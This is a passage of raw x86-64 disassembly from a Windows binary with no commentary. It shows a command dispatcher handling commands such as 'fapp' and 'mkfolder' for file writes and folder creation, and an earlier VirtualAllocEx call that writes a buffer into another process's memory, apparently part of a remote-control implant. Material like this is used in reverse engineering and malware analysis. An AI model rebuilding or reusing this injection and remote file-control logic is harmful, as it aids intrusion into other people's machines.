lea rdx, [0x140366c40]
lea rcx, [rsp + 0x1ef0]
call fcn.140017e10
nop
lea rcx, [rsp + 0x40d0]
call fcn.140019480
lea rcx, [rsp + 0x37a0]
call fcn.140015bb0
nop
lea rdx, [0x140365b16]
lea rcx, [rsp + 0x1f50]
call fcn.1400064f0
nop
lea rax, [rsp + 0x1ef0]
mov qword [rsp + 0xcf8], rax
mov rcx, qword [rsp + 0xcf8]
call fcn.14001dee0
mov qword [rsp + 0x5d8], rax
mov rcx, qword [rsp + 0xcf8]
call fcn.14001dfa0
mov qword [rsp + 0x17b0], rax
jmp 0x14002b539
mov rax, qword [rsp + 0x5d8]
add rax, 2
mov qword [rsp + 0x5d8], rax
mov rax, qword [rsp + 0x17b0]
cmp qword [rsp + 0x5d8], rax
je 0x14002b5be
mov rax, qword [rsp + 0x5d8]
mov qword [rsp + 0x17b8], rax
mov rax, qword [rsp + 0x17b8]
movzx eax, word [rax]
mov r8d, eax
lea rdx, [rsp + 0x3108]
lea rcx, [rsp + 0x37a0]
call fcn.140035f50
mov qword [rsp + 0x17c0], rax
mov rax, qword [rsp + 0x17c0]
mov qword [rsp + 0x17c8], rax
mov rdx, qword [rsp + 0x17c8]
lea rcx, [rsp + 0x1f50]
call fcn.14000a270
nop
lea rcx, [rsp + 0x3108]
call fcn.1400067e0
jmp 0x14002b525
lea rcx, [rsp + 0x1f50]
call fcn.1400074e0
mov qword [rsp + 0x17d0], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x17d8], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x17d0]
xor edx, edx
mov rcx, qword [rsp + 0x17d8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xd00], rax
lea rcx, [rsp + 0x1f50]
call fcn.1400074e0
mov qword [rsp + 0x17e0], rax
lea rcx, [rsp + 0x1f50]
call fcn.14000ae90
mov qword [rsp + 0x17e8], rax
mov r8, qword [rsp + 0x17e0]
mov rdx, qword [rsp + 0x17e8]
mov rcx, qword [rsp + 0xd00]
call fcn.140033090
mov rax, qword [rsp + 0xd00]
mov qword [rsp + 0x9e8], rax
mov qword [rsp + 0x2498], 0
lea rcx, [rsp + 0x1f50]
call fcn.1400074e0
mov qword [rsp + 0x358], rax
mov qword [rsp + 0x5e0], 0
jmp 0x14002b6bf
mov rax, qword [rsp + 0x5e0]
inc rax
mov qword [rsp + 0x5e0], rax
mov rax, qword [rsp + 0x358]
sub rax, 0x30000
mov qword [rsp + 0x358], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x5e0], rax
jae 0x14002b7f5
cmp qword [rsp + 0x358], 0
jbe 0x14002b7f5
cmp qword [rsp + 0x358], 0x7fffffff
jae 0x14002b7f5
cmp qword [rsp + 0x358], 0x30000
jbe 0x14002b717
mov qword [rsp + 0xd08], 0x30000
jmp 0x14002b727
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0xd08], rax
mov rax, qword [rsp + 0xd08]
mov qword [rsp + 0x9e0], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x17f0], rax
mov rdx, qword [rsp + 0x5e0]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x17f0]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x9d8], rax
lea rdx, [rsp + 0x9e8]
mov rcx, qword [rsp + 0x9d8]
call fcn.140013f40
mov rax, qword [rsp + 0x9d8]
add rax, 0x10
lea rdx, [rsp + 0x9e0]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x9e0]
or rax, 0x1f
mov qword [rsp + 0x17f8], rax
mov rax, qword [rsp + 0x9d8]
add rax, 0x18
lea rdx, [rsp + 0x17f8]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x9e0]
mov rcx, qword [rsp + 0x9e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e8], rax
jmp 0x14002b696
lea rcx, [rsp + 0x1f50]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x37a0]
call fcn.1400177e0
nop
lea rcx, [rsp + 0x1ef0]
call fcn.140017380
nop
lea rcx, [rsp + 0x718]
call fcn.140017380
nop
lea rcx, [rsp + 0x3820]
call fcn.140017830
nop
lea rcx, [rsp + 0x2248]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2cd0]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, [0x140366804]
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002c1c0
lea rcx, [rsp + 0x1d38]
call fcn.140015970
nop
lea rcx, [rsp + 0x22e8]
call fcn.140006550
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1800], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1800]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002b93c
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1808], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1808]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov rdx, rax
lea rcx, [rsp + 0x3128]
call fcn.1402c6d80
mov qword [rsp + 0x1810], rax
mov rdx, qword [rsp + 0x1810]
lea rcx, [rsp + 0x22e8]
call fcn.140009f60
lea rcx, [rsp + 0x3128]
call fcn.1400067e0
jmp 0x14002b99f
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1818], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1818]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x3148]
call fcn.1402c6d80
mov qword [rsp + 0x1820], rax
mov rdx, qword [rsp + 0x1820]
lea rcx, [rsp + 0x22e8]
call fcn.140009f60
lea rcx, [rsp + 0x3148]
call fcn.1400067e0
lea rcx, [rsp + 0x38a0]
call fcn.140015c70
nop
lea r8, [rsp + 0x22e8]
lea rdx, [rsp + 0x738]
lea rcx, [rsp + 0x38a0]
call fcn.1400209a0
nop
lea rcx, [rsp + 0x738]
call fcn.1400074e0
cmp rax, 0x104
jae 0x14002c184
mov qword [rsp + 0x308], 1
jmp 0x14002ba05
mov rax, qword [rsp + 0x308]
inc rax
mov qword [rsp + 0x308], rax
lea rcx, [rsp + 0x50]
call fcn.140035930
cmp qword [rsp + 0x308], rax
jae 0x14002bc81
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1828], rax
mov rdx, qword [rsp + 0x308]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1828]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x9f0], rax
cmp qword [rsp + 0x9f0], 0
jne 0x14002ba6e
jmp 0x14002bc81
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1830], rax
mov rdx, qword [rsp + 0x308]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1830]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002bb9d
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1838], rax
mov rdx, qword [rsp + 0x308]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1838]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov r8, qword [rsp + 0x9f0]
mov rdx, rax
lea rcx, [rsp + 0x2768]
call fcn.140013b50
nop
lea rax, [rsp + 0x2768]
mov qword [rsp + 0xd10], rax
mov rcx, qword [rsp + 0xd10]
call fcn.1400085d0
mov qword [rsp + 0x5e8], rax
mov rcx, qword [rsp + 0xd10]
call fcn.14000ab80
mov qword [rsp + 0x1840], rax
jmp 0x14002bb50
mov rax, qword [rsp + 0x5e8]
inc rax
mov qword [rsp + 0x5e8], rax
mov rax, qword [rsp + 0x1840]
cmp qword [rsp + 0x5e8], rax
je 0x14002bb8b
mov rax, qword [rsp + 0x5e8]
movzx eax, byte [rax]
mov byte [rsp + 0xd6], al
lea rdx, [rsp + 0xd6]
lea rcx, [rsp + 0x1d38]
call fcn.140034160
jmp 0x14002bb3d
lea rcx, [rsp + 0x2768]
call fcn.140017680
jmp 0x14002bc7c
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1848], rax
mov rdx, qword [rsp + 0x308]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1848]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x9f0]
mov rdx, rax
lea rcx, [rsp + 0x2780]
call fcn.140013b50
nop
lea rax, [rsp + 0x2780]
mov qword [rsp + 0xd18], rax
mov rcx, qword [rsp + 0xd18]
call fcn.1400085d0
mov qword [rsp + 0x5f0], rax
mov rcx, qword [rsp + 0xd18]
call fcn.14000ab80
mov qword [rsp + 0x1850], rax
jmp 0x14002bc34
mov rax, qword [rsp + 0x5f0]
inc rax
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x1850]
cmp qword [rsp + 0x5f0], rax
je 0x14002bc6f
mov rax, qword [rsp + 0x5f0]
movzx eax, byte [rax]
mov byte [rsp + 0xd7], al
lea rdx, [rsp + 0xd7]
lea rcx, [rsp + 0x1d38]
call fcn.140034160
jmp 0x14002bc21
lea rcx, [rsp + 0x2780]
call fcn.140017680
jmp 0x14002b9f2
lea rcx, [rsp + 0x1d38]
call fcn.1400358d0
mov qword [rsp + 0x1858], rax
lea rcx, [rsp + 0x1d38]
call fcn.14001f2e0
mov qword [rsp + 0x1860], rax
mov r8, qword [rsp + 0x1858]
mov rdx, qword [rsp + 0x1860]
lea rcx, [rsp + 0x2988]
call fcn.1400151a0
nop
mov byte [rsp + 0x43], 0
lea rcx, [rsp + 0x738]
call fcn.1400074e0
cmp rax, 0xa
jbe 0x14002beb6
mov r9d, 0xa
xor r8d, r8d
lea rdx, [rsp + 0x3168]
lea rcx, [rsp + 0x738]
call fcn.140035a00
mov qword [rsp + 0x1868], rax
mov rcx, qword [rsp + 0x1868]
call fcn.14001dee0
lea rdx, [0x140366c58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14002bd39
mov dword [rsp + 0x448], 1
jmp 0x14002bd44
mov dword [rsp + 0x448], 0
movzx eax, byte [rsp + 0x448]
mov byte [rsp + 0xd8], al
lea rcx, [rsp + 0x3168]
call fcn.140017380
movzx eax, byte [rsp + 0xd8]
test eax, eax
je 0x14002beb6
mov rax, qword [rsp + 0x8de0]
add rax, 0x3bc
mov rdx, rax
lea rcx, [rsp + 0x4840]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140366c70]
lea rcx, [rsp + 0x4840]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [rsp + 0xa4], 0xa
jmp 0x14002bdc1
mov eax, dword [rsp + 0xa4]
inc eax
mov dword [rsp + 0xa4], eax
lea rcx, [rsp + 0x738]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0xa4]
cmp rcx, rax
jae 0x14002beb1
movsxd rax, dword [rsp + 0xa4]
mov rdx, rax
lea rcx, [rsp + 0x738]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002be06
jmp 0x14002beb1
lea rcx, [rsp + 0x738]
call fcn.1400074e0
mov ecx, dword [rsp + 0xa4]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002be69
movsxd rax, dword [rsp + 0xa4]
mov rdx, rax
lea rcx, [rsp + 0x738]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002be69
mov eax, dword [rsp + 0xa4]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x738]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002be69
jmp 0x14002beb1
movsxd rax, dword [rsp + 0xa4]
mov rdx, rax
lea rcx, [rsp + 0x738]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x450], ax
xor eax, eax
mov word [rsp + 0x452], ax
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x4840]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14002bdb1
mov byte [rsp + 0x43], 1
movzx eax, byte [rsp + 0x43]
test eax, eax
jne 0x14002bfef
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rdx, rax
lea rcx, [rsp + 0x4840]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0xa8], 0
jmp 0x14002beff
mov eax, dword [rsp + 0xa8]
inc eax
mov dword [rsp + 0xa8], eax
lea rcx, [rsp + 0x738]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0xa8]
cmp rcx, rax
jae 0x14002bfef
movsxd rax, dword [rsp + 0xa8]
mov rdx, rax
lea rcx, [rsp + 0x738]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002bf44
jmp 0x14002bfef
lea rcx, [rsp + 0x738]
call fcn.1400074e0
mov ecx, dword [rsp + 0xa8]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002bfa7
movsxd rax, dword [rsp + 0xa8]
mov rdx, rax
lea rcx, [rsp + 0x738]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002bfa7
mov eax, dword [rsp + 0xa8]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x738]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002bfa7
jmp 0x14002bfef
movsxd rax, dword [rsp + 0xa8]
mov rdx, rax
lea rcx, [rsp + 0x738]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x454], ax
xor eax, eax
mov word [rsp + 0x456], ax
lea rdx, [rsp + 0x454]
lea rcx, [rsp + 0x4840]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14002beef
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x8b8], eax
lea rcx, [rsp + 0x4840]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x8b8]
cmp eax, ecx
jg 0x14002c033
movzx eax, byte [rsp + 0x43]
test eax, eax
je 0x14002c176
mov byte [rsp + 0x6f], 1
lea rdx, [rsp + 0x4840]
lea rcx, [rsp + 0x2b28]
call fcn.140009a50
nop
lea rcx, [rsp + 0x2b28]
call fcn.140020750
movzx eax, al
test eax, eax
jne 0x14002c06f
mov dword [rsp + 0x458], 1
jmp 0x14002c07a
mov dword [rsp + 0x458], 0
movzx eax, byte [rsp + 0x458]
mov byte [rsp + 0xd9], al
lea rcx, [rsp + 0x2b28]
call fcn.140017380
movzx eax, byte [rsp + 0xd9]
test eax, eax
je 0x14002c0f4
mov eax, dword [rsp + 0x100]
inc eax
mov dword [rsp + 0x100], eax
cmp dword [rsp + 0x100], 0x1f4
jle 0x14002c0f4
mov byte [rsp + 0x6f], 0
lea rdx, [0x140366c88]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1870], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1870]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx eax, byte [rsp + 0x6f]
test eax, eax
je 0x14002c176
mov edx, 1
lea rcx, [rsp + 0x3c20]
call fcn.1400150d0
nop
mov r9d, 0x40
mov r8d, gethostbyaddr
lea rdx, [rsp + 0x4840]
lea rcx, [rsp + 0x3c20]
call fcn.1400332e0
lea rcx, [rsp + 0x3c20]
call fcn.1400307d0
movzx eax, al
test eax, eax
je 0x14002c168
lea rdx, [rsp + 0x2988]
lea rcx, [rsp + 0x3c20]
call fcn.140007b10
lea rcx, [rsp + 0x3c20]
call fcn.14001ee80
nop
lea rcx, [rsp + 0x3c20]
call fcn.1400194c0
nop
lea rcx, [rsp + 0x2988]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x738]
call fcn.140017380
nop
lea rcx, [rsp + 0x38a0]
call fcn.140017830
nop
lea rcx, [rsp + 0x22e8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x1d38]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, str.fapp
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002c854
lea rcx, [rsp + 0x1d50]
call fcn.140015970
nop
lea rcx, [rsp + 0x2308]
call fcn.140006550
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1878], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1878]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002c2a1
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1880], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1880]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov rdx, rax
lea rcx, [rsp + 0x3188]
call fcn.1402c6d80
mov qword [rsp + 0x1888], rax
mov rdx, qword [rsp + 0x1888]
lea rcx, [rsp + 0x2308]
call fcn.140009f60
lea rcx, [rsp + 0x3188]
call fcn.1400067e0
jmp 0x14002c304
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1890], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1890]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x31a8]
call fcn.1402c6d80
mov qword [rsp + 0x1898], rax
mov rdx, qword [rsp + 0x1898]
lea rcx, [rsp + 0x2308]
call fcn.140009f60
lea rcx, [rsp + 0x31a8]
call fcn.1400067e0
lea rcx, [rsp + 0x3920]
call fcn.140015c70
nop
lea r8, [rsp + 0x2308]
lea rdx, [rsp + 0xfa8]
lea rcx, [rsp + 0x3920]
call fcn.1400209a0
nop
lea rcx, [rsp + 0xfa8]
call fcn.1400074e0
cmp rax, 0x104
jae 0x14002c818
mov qword [rsp + 0x310], 1
jmp 0x14002c36a
mov rax, qword [rsp + 0x310]
inc rax
mov qword [rsp + 0x310], rax
lea rcx, [rsp + 0x50]
call fcn.140035930
cmp qword [rsp + 0x310], rax
jae 0x14002c5e6
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x18a0], rax
mov rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x18a0]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x9f8], rax
cmp qword [rsp + 0x9f8], 0
jne 0x14002c3d3
jmp 0x14002c5e6
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x18a8], rax
mov rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x18a8]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002c502
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x18b0], rax
mov rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x18b0]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov r8, qword [rsp + 0x9f8]
mov rdx, rax
lea rcx, [rsp + 0x2798]
call fcn.140013b50
nop
lea rax, [rsp + 0x2798]
mov qword [rsp + 0xd20], rax
mov rcx, qword [rsp + 0xd20]
call fcn.1400085d0
mov qword [rsp + 0x5f8], rax
mov rcx, qword [rsp + 0xd20]
call fcn.14000ab80
mov qword [rsp + 0x18b8], rax
jmp 0x14002c4b5
mov rax, qword [rsp + 0x5f8]
inc rax
mov qword [rsp + 0x5f8], rax
mov rax, qword [rsp + 0x18b8]
cmp qword [rsp + 0x5f8], rax
je 0x14002c4f0
mov rax, qword [rsp + 0x5f8]
movzx eax, byte [rax]
mov byte [rsp + 0xda], al
lea rdx, [rsp + 0xda]
lea rcx, [rsp + 0x1d50]
call fcn.140034160
jmp 0x14002c4a2
lea rcx, [rsp + 0x2798]
call fcn.140017680
jmp 0x14002c5e1
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x18c0], rax
mov rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x18c0]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x9f8]
mov rdx, rax
lea rcx, [rsp + 0x27b0]
call fcn.140013b50
nop
lea rax, [rsp + 0x27b0]
mov qword [rsp + 0xd28], rax
mov rcx, qword [rsp + 0xd28]
call fcn.1400085d0
mov qword [rsp + 0x600], rax
mov rcx, qword [rsp + 0xd28]
call fcn.14000ab80
mov qword [rsp + 0x18c8], rax
jmp 0x14002c599
mov rax, qword [rsp + 0x600]
inc rax
mov qword [rsp + 0x600], rax
mov rax, qword [rsp + 0x18c8]
cmp qword [rsp + 0x600], rax
je 0x14002c5d4
mov rax, qword [rsp + 0x600]
movzx eax, byte [rax]
mov byte [rsp + 0xdb], al
lea rdx, [rsp + 0xdb]
lea rcx, [rsp + 0x1d50]
call fcn.140034160
jmp 0x14002c586
lea rcx, [rsp + 0x27b0]
call fcn.140017680
jmp 0x14002c357
lea rcx, [rsp + 0x1d50]
call fcn.1400358d0
mov qword [rsp + 0x18d0], rax
lea rcx, [rsp + 0x1d50]
call fcn.14001f2e0
mov qword [rsp + 0x18d8], rax
mov r8, qword [rsp + 0x18d0]
mov rdx, qword [rsp + 0x18d8]
lea rcx, [rsp + 0x29a8]
call fcn.1400151a0
nop
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rdx, rax
lea rcx, [rsp + 0x5ac0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0xac], 0
jmp 0x14002c66a
mov eax, dword [rsp + 0xac]
inc eax
mov dword [rsp + 0xac], eax
lea rcx, [rsp + 0xfa8]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0xac]
cmp rcx, rax
jae 0x14002c75a
movsxd rax, dword [rsp + 0xac]
mov rdx, rax
lea rcx, [rsp + 0xfa8]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002c6af
jmp 0x14002c75a
lea rcx, [rsp + 0xfa8]
call fcn.1400074e0
mov ecx, dword [rsp + 0xac]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002c712
movsxd rax, dword [rsp + 0xac]
mov rdx, rax
lea rcx, [rsp + 0xfa8]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002c712
mov eax, dword [rsp + 0xac]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0xfa8]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002c712
jmp 0x14002c75a
movsxd rax, dword [rsp + 0xac]
mov rdx, rax
lea rcx, [rsp + 0xfa8]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x45c], ax
xor eax, eax
mov word [rsp + 0x45e], ax
lea rdx, [rsp + 0x45c]
lea rcx, [rsp + 0x5ac0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14002c65a
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x8b4], eax
lea rcx, [rsp + 0x5ac0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x8b4]
cmp eax, ecx
jle 0x14002c80a
mov edx, 1
lea rcx, [rsp + 0x3d30]
call fcn.1400150d0
nop
mov r9d, 0x40
mov r8d, 0x2a
lea rdx, [rsp + 0x5ac0]
lea rcx, [rsp + 0x3d30]
call fcn.1400332e0
lea rcx, [rsp + 0x3d30]
call fcn.1400307d0
movzx eax, al
test eax, eax
je 0x14002c7fc
lea rdx, [rsp + 0x29a8]
lea rcx, [rsp + 0x3d30]
call fcn.140007b10
lea rcx, [rsp + 0x3d30]
call fcn.14001ee80
nop
lea rcx, [rsp + 0x3d30]
call fcn.1400194c0
nop
lea rcx, [rsp + 0x29a8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0xfa8]
call fcn.140017380
nop
lea rcx, [rsp + 0x3920]
call fcn.140017830
nop
lea rcx, [rsp + 0x2308]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x1d50]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, str.mkfolder
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002cc59
lea rcx, [rsp + 0x2ce8]
call fcn.140015970
nop
lea rcx, [rsp + 0x2268]
call fcn.140006550
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x18e0], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x18e0]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002c935
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x18e8], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x18e8]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov rdx, rax
lea rcx, [rsp + 0x31c8]
call fcn.1402c6d80
mov qword [rsp + 0x18f0], rax
mov rdx, qword [rsp + 0x18f0]
lea rcx, [rsp + 0x2268]
call fcn.140009f60
lea rcx, [rsp + 0x31c8]
call fcn.1400067e0
jmp 0x14002c998
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x18f8], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x18f8]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x31e8]
call fcn.1402c6d80
mov qword [rsp + 0x1900], rax
mov rdx, qword [rsp + 0x1900]
lea rcx, [rsp + 0x2268]
call fcn.140009f60
lea rcx, [rsp + 0x31e8]
call fcn.1400067e0
lea rcx, [rsp + 0x39a0]
call fcn.140015c70
nop
lea r8, [rsp + 0x2268]
lea rdx, [rsp + 0xfc8]
lea rcx, [rsp + 0x39a0]
call fcn.1400209a0
nop
lea rcx, [rsp + 0xfc8]
call fcn.1400074e0
cmp rax, 0x104
jae 0x14002cc1d
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rdx, rax
lea rcx, [rsp + 0x5490]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0xb0], 0
jmp 0x14002ca19
mov eax, dword [rsp + 0xb0]
inc eax
mov dword [rsp + 0xb0], eax
lea rcx, [rsp + 0xfc8]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0xb0]
cmp rcx, rax
jae 0x14002cb09
movsxd rax, dword [rsp + 0xb0]
mov rdx, rax
lea rcx, [rsp + 0xfc8]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002ca5e
jmp 0x14002cb09
lea rcx, [rsp + 0xfc8]
call fcn.1400074e0
mov ecx, dword [rsp + 0xb0]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002cac1
movsxd rax, dword [rsp + 0xb0]
mov rdx, rax
lea rcx, [rsp + 0xfc8]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002cac1
mov eax, dword [rsp + 0xb0]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0xfc8]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002cac1
jmp 0x14002cb09
movsxd rax, dword [rsp + 0xb0]
mov rdx, rax
lea rcx, [rsp + 0xfc8]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x460], ax
xor eax, eax
mov word [rsp + 0x462], ax
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x5490]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14002ca09
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x8b0], eax
lea rcx, [rsp + 0x5490]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x8b0]
cmp eax, ecx
jle 0x14002cc1d
mov byte [rsp + 0x70], 1
lea rdx, [rsp + 0x5490]
lea rcx, [rsp + 0x29c8]
call fcn.140009a50
nop
lea rcx, [rsp + 0x29c8]
call fcn.140020750
movzx eax, al
test eax, eax
jne 0x14002cb80
mov dword [rsp + 0x464], 1
jmp 0x14002cb8b
mov dword [rsp + 0x464], 0
movzx eax, byte [rsp + 0x464]
mov byte [rsp + 0xdc], al
lea rcx, [rsp + 0x29c8]
